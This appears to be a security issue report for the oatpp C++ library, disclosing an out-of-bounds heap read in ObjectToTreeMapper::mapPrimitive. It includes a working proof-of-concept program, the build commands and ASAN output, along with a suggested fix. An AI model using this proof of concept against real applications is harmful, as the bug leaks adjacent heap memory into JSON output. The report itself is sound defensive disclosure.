#1100·oatpp

OOB read in 'ObjectToTreeMapper::mapPrimitive'

Author: 2rr0r4o3Created Aug 24, 2026Updated Aug 24, 2026

Summary

mapPrimitive<T> dereferences the value pointer as T::ObjectType, and T comes from the dispatch table, which was selected by the value's type tag. The number of bytes read is therefore decided entirely by the tag, with no check that the pointer actually owns an object of that size. An Any whose handle pairs a one-byte payload with a Float64 tag makes the library read 8 bytes out of a one-byte allocation.

Details

src/oatpp/data/mapping/ObjectToTreeMapper.hpp:64-72:

64       template<class T>
65       static void mapPrimitive(const ObjectToTreeMapper* mapper, State& state, const oatpp::Void& polymorph){
66         (void) mapper;
67         if(polymorph){
68           state.tree->setPrimitive<typename T::ObjectType>(* static_cast<typename T::ObjectType*>(polymorph.get()));
69         } else {
70           state.tree->setNull();
71         }
72       }

polymorph.get() is a void*. Line 68 casts it to T::ObjectType* and dereferences. T is fixed at instantiation, and which instantiation runs is chosen by ObjectToTreeMapper::map from m_methods[classId.id]. So the tag alone determines the width of the read.

There is no relationship between the pointer and T other than the tag asserting one. For Float64 the read is sizeof(v_float64) = 8 bytes; if the pointer owns a v_int8, seven of those bytes are past the end of the allocation.

The route that supplies a mismatched pair is mapAny (ObjectToTreeMapper.cpp:114-121), which rebuilds a Void from AnyHandle's ptr and type fields without checking that they agree. Any::retrieve (Any.cpp:71-79) does check, correctly, but mapAny reads the fields directly instead of going through it.

Fix: verify polymorph.getValueType() is T's type before the dereference.

PoC

poc_ObjectToTreeMapper_mapPrimitive.cpp:

cpp
std::shared_ptr<v_int8> oneByte(new v_int8(0x41));   // its own 1-byte heap block

auto handle = std::make_shared<oatpp::data::type::AnyHandle>(
    oneByte,
    oatpp::Float64::Class::getType());               // tag says 8-byte double

oatpp::Any any(handle, nullptr);

oatpp::json::ObjectMapper mapper;
auto out = mapper.writeToString(any);
// mapAny (ObjectToTreeMapper.cpp:119-120) -> map -> mapPrimitive<oatpp::Float64>
//   -> *static_cast<v_float64*>(polymorph.get())   ObjectToTreeMapper.hpp:68

AnyHandle's constructor is public and takes the pointer and the type as separate arguments, so the mismatched pair needs no trickery to build.

Build and run:

bash
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
  -fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
  poc_ObjectToTreeMapper_mapPrimitive.cpp liboatpp.a -lpthread -o poc_ObjectToTreeMapper_mapPrimitive
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0 ./poc_ObjectToTreeMapper_mapPrimitive

ASAN output:

==3009040==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7c03343e0050 ...
READ of size 8 at 0x7c03343e0050 thread T0
    #0 in void oatpp::data::mapping::ObjectToTreeMapper::mapPrimitive<oatpp::data::type::Primitive<double, ...>>(...)
    #1 in oatpp::data::mapping::ObjectToTreeMapper::map(...)     src/oatpp/data/mapping/ObjectToTreeMapper.cpp
    #2 in oatpp::data::mapping::ObjectToTreeMapper::mapAny(...)  src/oatpp/data/mapping/ObjectToTreeMapper.cpp
0x7c03343e0051 is located 0 bytes after 1-byte region [0x7c03343e0050, 0x7c03343e0051)

Impact

OOB read of up to sizeof(T::ObjectType) - 1 bytes past the object, and the bytes are not discarded — they become the serialized value, so this discloses adjacent heap contents into the JSON output.

Reachability is application-level:

  • something in the process must construct an AnyHandle whose pointer and type disagree.